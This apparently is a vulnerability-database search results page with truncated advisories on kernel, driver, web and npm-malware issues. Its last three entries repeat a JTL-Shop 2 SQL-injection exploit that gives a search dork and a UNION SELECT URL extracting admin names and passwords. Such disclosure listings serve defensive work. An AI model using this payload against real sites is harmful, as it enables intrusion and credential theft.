CVE-2022-49531 loop: implement ->free_disk

In the Linux kernel, the following vulnerability has been resolved: loop: implement -freedisk Ensure that the lodevice which is stored in the gendisk private data is valid until the gendisk is freed. Currently the loop driver uses a lot of effort to make sure a device is not freed when it is stil...

Realtek Semiconductor Corp Realtek lO Driver 安全漏洞

Realtek Semiconductor Corp Realtek lO Driver is a driver from Realtek Semiconductor Corp, China. A security vulnerability exists in Realtek Semiconductor Corp Realtek lO Driver version v1.008.0823.2017, which stems from a security flaw in the component rtkio64.sys. An attacker can exploit the...

lo-renzo.com Improper Access Control vulnerability OBB-3804015

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

kernel: loop: implement ->free_disk

In the Linux kernel, the following vulnerability has been resolved: loop: implement -freedisk Ensure that the lodevice which is stored in the gendisk private data is valid until the gendisk is freed. Currently the loop driver uses a lot of effort to make sure a device is not freed when it is stil...

lo-sinyavino.ru Cross Site Scripting vulnerability OBB-2742263

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

Malicious code in discord-lofy (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d6da36b0b3006a9ff75f70fc9009bc0db14bda47187f464e3b9be5d138b67e1a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

PT-2025-8464

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description A vulnerability in the Linux kernel has been resolved. The issue is related to the loop driver, where the lo device stored in the gendisk private data may not be valid until the gendisk ...

PT-2021-7988

Name of the Vulnerable Software and Affected Versions Emerson Dixell XWEB-500 affected versions not specified Description The issue is related to an arbitrary file write vulnerability in the /cgi-bin/logo extra upload.cgi, /cgi-bin/cal save.cgi, and /cgi-bin/lo utils.cgi API endpoints. This...

SQL Injection Vulnerability in Lo***.aspx Page of JunCheng Online Exam System

Jun Cheng Online Exam System is a B/S based online exam system. SQL injection vulnerability exists in the Lo.aspx page of JunCheng Online Exam System, which can be exploited by attackers to obtain sensitive information...

SQL Injection Vulnerability in Smart Meter Collective Reading Management System Lo***.aspx Page

Qingdao Automatic Instrumentation Co., Ltd. is a new joint-stock enterprise integrating R&D and manufacturing. There is a SQL injection vulnerability in the Lo.aspx page of the Intelligent Instrumentation Collector Management System, which can be exploited by attackers to obtain sensitive...

SQL Injection Vulnerability in Lo***.aspx Page of Integrated Water Supply Management Platform

Wuhan Jinshuilai Technology Development Co., Ltd. is a high-tech enterprise specializing in water management informationization, automation and intelligent construction. There is a SQL injection vulnerability in the Lo.aspx page of the integrated water management platform, which can be exploited ...

CloudYou CMS enterprise website management system Lo***.php file exists arbitrary file deletion vulnerability

YUNUCMS enterprise website management system YUNUCMS is a set of professional marketing enterprise building system based on PHP + MYSQL as the core development. There is an arbitrary file deletion vulnerability in the Lo.php file of the YUNUCMS enterprise website management system. An attacker ca...

kernel: drivers/block/loop.c mishandles lo_release serialization allowing denial-of-service

A flaw was found in the Linux kernel's handling of loopback devices. An attacker, who has permissions to setup loopback disks, may create a denial of service or other unspecified actions...

PT-2017-2778 · Postgresql +2 · Postgresql +2

Name of the Vulnerable Software and Affected Versions: PostgreSQL versions prior to 9.4.13 PostgreSQL versions prior to 9.5.8 PostgreSQL versions prior to 9.6.4 Description: The issue is caused by a flaw in the authorization procedure, allowing remote authenticated attackers with no privileges on...

USN-3082-2: Linux kernel (OMAP4) vulnerability

Chiachih Wu, Yuan-Tsung Lo, and Xuxian Jiang discovered that the legacy ABI for ARM OABI had incomplete access checks for epollwait2 and semtimedop2. A local attacker could use this to possibly execute arbitrary code...

Oracle: Security Advisory (ELSA-2013-1348)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

lo-gs.com XSS vulnerability

Open Bug Bounty ID: OBB-80572 Description| Value ---|--- Affected Website:| lo-gs.com Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat Sheet...

JTL-Shop 2 SQL Injection

JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select 1,2,3,4,5,concatcName,0x3a,cPass,7,8,9 from tadminlogin-...

JTL-Shop 2 - druckansicht.php SQL Injection

JTL-Shop 2 - druckansicht.php SQL Injection JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select...

JTL-Shop 2 - 'druckansicht.php' SQL Injection

JTL-Shop 2 druckansicht.php SQL Injection Vulnerability author : Lo$T Home : www.sa-hacker.com/vb + www.sec-eviles.com/vb email : [email protected] Dork :" Powered by JTL-Shop 2" exp : http://server/Path/druckansicht.php?s=13 and 1=2 union select 1,2,3,4,5,concatcName,0x3a,cPass,7,8,9 from tadminlogin-...